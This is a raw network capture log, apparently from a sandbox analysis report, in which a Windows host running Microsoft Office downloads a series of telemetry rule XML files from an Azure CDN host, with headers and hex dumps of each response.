<L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.9	49894	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:02 UTC	192	OUT	GET /rules/rule120651v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:02 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:02 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 0514cbb3-901e-00ac-0281-3ab69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155202Z-185f5d8b95cmd8vfhC1NYC0g40000000067g00000000vy9t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:02 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 47 67 5d 5b 4c 6c 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120651" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <SR T="2" R="([Gg][Oo][Oo][Gg][Ll][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.9	49895	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:02 UTC	192	OUT	GET /rules/rule120652v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:02 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97E6FCDD" x-ms-request-id: b82dc135-b01e-0053-1a8c-3acdf8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155202Z-185f5d8b95csd4bwhC1NYCq7dc0000000adg0000000083nr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:03 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120652" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.9	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:02 UTC	192	OUT	GET /rules/rule120653v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:03 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:51 GMT ETag: "0x8DC582B9C710B28" x-ms-request-id: 7511da03-801e-0083-3b8c-3af0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155203Z-185f5d8b95c4hl5whC1NYCeex00000000ad00000000088pz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:03 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 49 69 5d 5b 4e 6e 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 54 74 5d 5b 45 65 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120653" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120651" /> <SR T="2" R="([Ii][Nn][Nn][Oo][Tt][Ee][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.9	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:02 UTC	192	OUT	GET /rules/rule120654v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:03 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:03 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:05 GMT ETag: "0x8DC582BA54DCC28" x-ms-request-id: f8f789e1-e01e-0020-49f7-3ade90000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155203Z-r1d97b99577l6wbzhC1TEB3fwn000000099g0000000003st x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:03 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120654" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.9	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:04 UTC	192	OUT	GET /rules/rule120655v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:04 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:04 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7F164C3" x-ms-request-id: 7bd180c9-401e-008c-0e8c-3a86c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155204Z-1777c6cb7549j9hhhC1TEBzmcc00000009u0000000002cev x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:04 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 49 69 5d 5b 4d 6d 5d 5b 42 62 5d 5b 4f 6f 5d 5b 58 78 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120655" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120653" /> <SR T="2" R="([Nn][Ii][Mm][Bb][Oo][Xx][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.9	49899	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:04 UTC	192	OUT	GET /rules/rule120656v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:05 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:04 GMT ETag: "0x8DC582BA48B5BDD" x-ms-request-id: 2155a01d-401e-00a3-768c-3a8b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155205Z-1777c6cb754mqztshC1TEB4mkc00000009x0000000006b7t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:05 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120656" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.9	49900	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:04 UTC	192	OUT	GET /rules/rule120657v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:05 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:57 GMT ETag: "0x8DC582B9FF95F80" x-ms-request-id: 5633ff77-c01e-0014-30eb-3aa6a3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155205Z-r1d97b99577n4dznhC1TEBc1qw0000000960000000003qd5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:05 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4e 6e 5d 5b 55 75 5d 5b 54 74 5d 5b 41 61 5d 5b 4e 6e 5d 5b 49 69 5d 5b 58 78 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120657" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120655" /> <SR T="2" R="([Nn][Uu][Tt][Aa][Nn][Ii][Xx])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.9	49901	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:04 UTC	192	OUT	GET /rules/rule120658v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:05 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:34 GMT ETag: "0x8DC582BB650C2EC" x-ms-request-id: 538c9d0d-101e-0028-1c8c-3a8f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155205Z-185f5d8b95cf7qddhC1NYC66an0000000acg00000000zumk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:05 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120658" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.9	49902	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:05 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:05 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:05 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 8e68b2a4-701e-005c-1a8c-3abb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155205Z-185f5d8b95cqnkdjhC1NYCm8w80000000ab0000000009spn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:05 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.9	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:06 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:06 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: f37cb76d-d01e-0017-2085-3ab035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155206Z-185f5d8b95c96jn4hC1NYCbgp80000000af000000000bpf7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:07 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.9	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:07 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:07 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: df8c4adc-701e-0032-17f9-3aa540000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155207Z-r1d97b99577ckpmjhC1TEBrzs0000000090000000000pr3p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:07 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.9	49906	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 15:52:07 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 15:52:07 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 15:52:07 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: af4852c5-601e-000d-3a8c-3a2618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T155207Z-r1d97b995774zjnrhC1TEBv1ww00000008z000000000hsph x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 15:52:07 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 